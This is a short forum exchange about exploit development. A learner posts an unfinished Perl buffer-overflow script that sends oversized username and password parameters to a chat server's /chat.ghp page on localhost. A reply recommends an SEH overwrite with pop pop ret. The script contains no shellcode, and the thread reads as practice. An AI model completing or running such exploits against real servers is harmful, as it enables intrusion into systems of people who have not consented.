Luigi Auriemma

Hey, I'm practicing exploitation and I thought I would try this. So far I can overflow the buffer and control EIP. The problem is no registers point to my shellcode, so how can I get code execution to work?

[code]
#!/usr/bin/perl

use IO::Socket;

$expl0it = "\x90" x 220;
$expl0it .= "A" x 4;
$expl0it .= "C" x 12;

$sock = IO::Socket::INET->new( PeerAddr => "localhost",
PeerPort => 80,
Proto => 'tcp' ) || die "Error connecting: $!\n";

print $sock "GET /chat.ghp?username=".$expl0it."&password=".$expl0it."&room=1&sex=2 HTTP/1.1\r\nHost: localhost\r\n\r\n";
[/code]

thanks

Well if no registers hold your shell code or the user supplied data try to over write the seh handlers that is your only option ive saw this loads of times eip get over written and nothing holds our shell code.Add more buffer see if you can control the seh handlers,Then you can just do a pop pop ret into the stack.